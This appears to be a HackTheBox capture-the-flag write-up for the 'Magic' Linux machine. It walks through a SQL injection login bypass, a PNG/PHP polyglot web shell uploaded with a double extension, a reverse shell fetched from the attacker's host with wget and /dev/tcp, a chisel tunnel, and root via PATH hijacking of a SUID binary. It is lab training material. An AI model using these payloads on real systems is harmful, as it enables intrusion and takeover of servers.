HTB Magic CTF Writeup
Medium-rated Linux box. SQL injection bypasses authentication on an image upload portal. A magic-bytes polyglot bypasses file type validation to achieve RCE. A SUID binary with a relative command path is hijacked via PATH manipulation for privilege escalation.
HTB Magic CTF
Summary
Magic is a Medium-difficulty Linux machine featuring web exploitation and privilege escalation via SUID binary abuse. Initial access is gained through SQL injection authentication bypass on the login form using the payload admin' or 1=1#. This grants access to an image upload feature vulnerable to whitelist bypass via double extension. A polyglot file combining PNG magic bytes with PHP code is uploaded as legit.php.png, achieving remote code execution as www-data. Database credentials are discovered in db.php5, allowing enumeration of the MySQL instance (via mysqldump or chisel tunneling) which reveals the cleartext password Th3s3usW4sK1ng for user theseus. Privilege escalation to root is achieved by exploiting a custom SUID binary /bin/sysinfo that executes system commands without absolute paths. Using Ghidra to reverse engineer the binary, a PATH hijacking attack is performed by creating a malicious lshw script that sets the SUID bit on /bin/bash, granting root access.
Service Enumeration
I ran:
1
nmap -A -vv -oN scans/nmap.initial 10.129.40.37
And have the following results:
1
2
3
4
5
6
7
8
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Server Enumeration
This is how the home page looks like:
The footer links me to the login page at http://10.129.40.37/login.php. I try simple combinations like “admin:admin” but get invalid credentials:
I proceed to test for SQL injection in this form. I put the username as admin' (with a single quote), submit the login request, and notice how the login error message is simply gone. This behavior only occurs when I use a single quote. If I use a double quote, for instance, the login error message shows up just fine.
I can confirm this using burpsuite. The response for my request with admin:admin as credentials has a total of 4639 bytes:
The request with a single quote though has way less bytes (4587) which indicates a change in behavior.
SQL Injection
I run the following ffuf command to test for sql injection auth bypass:
1
ffuf -u http://10.129.40.37/login.php --data 'username=adminFUZZ&password=admin' -w /usr/share/wordlists/SecLists/Fuzzing/Databases/SQLi/sqli.auth.bypass.txt -t 5 -x http://127.0.0.1:8080 -H 'Content-Type: application/x-www-form-urlencoded'
All the requests go through my burpsuite proxy, where I can confirm I can bypass the login form with certain payloads:
Whenever the payload works, the server returns a 302 Redirect to “upload.php”, and now I can access this feature in the website.
I bypass the login with the following payload:
1
2
Username: admin' or 1=1#
Password: anything
And now I have access to http://10.129.40.37/upload.php, I can upload images:
Initial Access - File Upload Whitelist Bypass
I have this completely valid, random PNG image. As you can see from the output of the “file” command, it shows as a valid PNG image:
1
2
$ file image.webp
image.webp: PNG image data, 150 x 47, 8-bit/color RGBA, non-interlaced
That is because the magic bytes of this file match the required magic bytes for it to be considered a PNG file. There’s complete lists of magic bytes signatures online.
Only the very few bytes of the file matter though, the magic bytes are just the very first couple of bytes of a file.
I can recreate a file that’ll be interpreted as a PNG by using this “head” technique:
1
head -c 20 image.webp > malicious.png
I’m creating a new file named “malicious.png” with only the very first 20 bytes of “image.webp”, which is a valid png image. If I check this newly created “malicious.png” file, I see it looks like a png:
1
2
3
$ file malicious.png
malicious.png: PNG image data, 150 x 0, 0-bit grayscale, non-interlaced
Now the file “malicious.png” actually just hold the magic bytes for a PNG image.
I can go beyond that and create a malicious php script that executes system commands. I save this file as “evil.php”:
1
<?php system($_REQUEST['cmd']); ?>
To create a malicious file that looks like a PNG and contains the malicious php code above, I simply cat the two together (malicious.png that hold the magic bytes for a png image, and evil.php) and save the combined contents to a new file:
1
2
3
4
$ cat malicious.png evil.php > legit.png
$ file legit.png
legit.png: PNG image data, 150 x 1010790504, 112-bit
And legit.png contains the php script. I upload “legit.png”. The server does not complain. I can access the uploaded file at http://10.129.40.37/images/uploads/legit.png, but it says it contains errors:
That’s because the image is completely blank, no contents at all beyond the php script. I can intercept the upload request with burpsuite and edit the filename on the fly to be “legit.png.php” and see if the server accepts it:
It seems like it has a extension whitelist:
1
Sorry, only JPG, JPEG & PNG files are allowed.
Since it’s a whitelist, it makes it exceptionally hard for us to bypass. We’d have to take into consideration possible code logic flaws or server misconfigurations. We could also take into account things like the nullbyte vulnerability that affects some PHP versions (where I can upload a file named “legit.php%00.png” and have the server accept the .png extenion but actually truncate the filename without anything after the nullbyte, which effectively would save my file as “legit.php”, cutting off the .png completely while also bypassing the whitelist filter first)
I use a double extension bypass technique, so that my file name is:
1
legit.php.png
It says the file has been uploaded:
I access this image at http://10.129.40.37/images/uploads/legit.php.png and see it exists in the server. I add the command I want to execute in the request like http://10.129.40.37/images/uploads/legit.php.png?cmd=whoami and the server executes it as you can see from the screenshot below:
I right-click the request, and change the request method. I’m doing this because POST requests usually have fewer bad characters, and I can type system commands that would potentially use special chracters more freely.
I save “shell.sh” in my local machine with the following contents:
1
sh -i >& /dev/tcp/10.10.14.57/9999 0>&1
Start a python http server:
1
sudo python3 -m http.server 80
I also start a netcat listener on port 9999:
1
nc -lvnp 9999
And use the following cmd on the uploaded malicious png file (I first tried using curl, but curl isn’t available on the box):
1
cmd=wget -O- 10.10.14.57/shell.sh|bash
The server returns no response:
But if I check my terminals, I see the server fetches my shell.sh script and executes it. Now I have a reverse shell connection as www-data:
Horizontal Privilege Escalation
I’m the web user, so it only makes sense for me to take a look at the web-related files. I also know that there’s a very high chance there’s a database running on this server, and the webapp needs to be able to access it. There might be files that leak valid credentials.
I search for files in the Magic webapp:
1
www-data@ubuntu:/var/www/Magic$ find . -type f
One of the last files to show up is this one:
1
./db.php5
This is the exact type of file I’m looking for. I read it to find the following database credentials:
1
2
3
4
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
I can confirm mysql is listening on local port 3306:
1
2
www-data@ubuntu:/var/www/Magic$ ss -tulpn | grep 3306
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
So I try using mysql client on the victim machine to access the mysql instance, but the client is not installed:
1
2
3
$ mysql
Command 'mysql' not found, but can be installed with:
Connecting to the MySQL Database - chisel
My first instinct is to transfer “chisel” to the victim. I fire up a python web server on my attacking machine, hosting the chisel linux binary:
1
sudo python3 -m http.server 80
On the victim machine I get the binary:
1
wget 10.10.14.57/chisel
I set up the chisel server on my machine:
1
nohup ./chisel server --reverse --socks5 -p 1337 &
On the victim machine, I mark chisel as executable:
1
chmod +x chisel
And make it connect to my reverse socks5 proxy server:
1
nohup ./chisel client 10.10.14.57:1337 R:socks &
I connect to the mysql instance via my attacking machine, using proxychains to forward the traffic through the socks proxy:
1
proxychains4 mysql -h 127.0.0.1 -u theseus -p;
When asked for a password, I insert:
1
iamkingtheseus
And now I can enumerate the instance, to discover a database named Magic. I use this database, look for tables, discover the “login” table, and ultimately dump it to reveal a cleartext password:
More specifically:
1
2
3
4
MySQL [(none)]> show databases;
MySQL [(none)]> use Magic
MySQL [Magic]> show tables;
MySQL [Magic]> select * from login;
And now I have this cleartext password from the “login” table:
1
Th3s3usW4sK1ng
I use this password to authenticate as “theseus” locally:
1
su theseus
Connecting to the Database - MySQL Dump
Later I realized despite the victim machine not having “mysql” client, it actually had “mysqldump” with would have served the same purpose and I would not have to create the whole chisel server/client configuration.
I use, on the victim machine, connected as “www-data”:
1
mysqldump Magic -u theseus -p;
And as you can see from the screenshot below, I get a full dump of the Magic database, include the entries for the “login” table:
Vertical Privilege Escalation
I see “theseus” has membership in another group named users:
1
2
theseus@ubuntu:~$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
The www-data user is not member of users, which sparks my curiosity on what is this group about. I search for files owned by this group:
1
2
theseus@ubuntu:~$ find / -group users -ls 2>/dev/null
393232 24 -rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo
The file /bin/sysinfo shows up, which is a binary owned by user root and group “users”. This binary has a peculiarity though, that being, it has a SUID bit set.
I see it’s an ELF binary:
1
2
theseus@ubuntu:~$ file /bin/sysinfo
/bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e9d26d004da0634c0747d16d377cd2a934e565a, not stripped
And I search for this binary on Google but find no meaningful results, so this binary must be completely custom. I transfer it to my machine using scp:
1
scp -i theseus [email protected]:/bin/sysinfo .
I fire up gHidra. It offers me to analyse the binary. I select all options, and hit “analyse”. After a few seconds, I have the decompiled C code for the binary:
You can see from the screenshot how this binary is collecting system information. It’s simply running a bunch of binaries, and more importantly, it’s not using absolute paths. That means, I can probably hijack the PATH variable to point any of the binaries the script is executing (that is, lshw, fdisk, cat or even free) to a malicious script.
On the victim machine, I export the PATH variable to include my current working directory (/home/theseus):
1
export PATH=$(pwd):$PATH
Then I create a fake lshw:
1
nano lshw
With the following contents:
1
2
3
#!/bin/bash
chmod +s /bin/bash
Give it execution rights:
1
chmod +x lshw
And execute the SUID binary:
1
/bin/sysinfo
I can see it misses the “Hardware Info” part completely:
1
2
3
4
5
6
7
theseus@ubuntu:~$ /bin/sysinfo
====================Hardware Info====================
====================Disk Info====================
Disk /dev/loop0: 164.8 MiB, 172761088 bytes, 337424 sectors
Units: sectors of 1 * 512 = 512 bytes
<SNIP>
Which is a good sign for me. I check the permissions for /bin/bash:
1
2
theseus@ubuntu:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun 6 2019 /bin/bash
And notice how it has a SUID bit set. Now It’s just a matter of executing it privileged:
1
/bin/bash -p
And now I’m root on the victim machine, as you can see from the screenshot below:
This completes the box.
Beyond Root
This is a snippet from the htaccess file for the Magic webapp at /var/www/Magic/.htaccess:
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
There’s a massive problem with this regular expression. There’s no $ anchor at the end! This means the pattern matches .php anywhere in the filename, not just at the end:
Secure:
.+\.php$(must END with .php)Vulnerable:
.+\.php(can have .php ANYWHERE) - This is the case here
This is a** classic Apache misconfiguration that’s surprisingly common in the wild. The takeaway here is that file upload bypass via double extensions is still relevant in 2025.
This explains why our payload.php.png worked.
Things Learned
Here are some of the stuff I learned from this machine:
File Upload Acts Weird
For instance, I uploaded a completely valid and normal PNG image to the application. I captured this request on burpsuite.
I then started using this innocent request to add some malicious content. Like adding .php to the filename, changing the content-type, adding a php script to the image contents, and so on. When suddenly I would get this error:
1
<script>alert('What are you trying to do there?')</script>
I would revert all the changes i made to the image and try uploading it again, to find that the image is simply blocked now. For some reason even if I rename the file to something else but keeping the extension, and having the image contents as a normal image, the server kept giving me this error.
This made me think that some of my payloads would never work, but in reality, the server was just acting weird with my saved request.
What I should do from now on is to use the intercept tab on burpsuite instead when dealing with file uploads. Upload the file using the form in the website, and then intercept the request with burpsuite and tamper it on the fly.
I also have no idea how the server was triggering my request and giving that error above, since for me nothing really was 100% unique to that request. I feel like this is how the server knows:
1
------geckoformboundary9b434a35c2d54178e58d7d0a7976cad8
This must be the only unique piece in the request.

















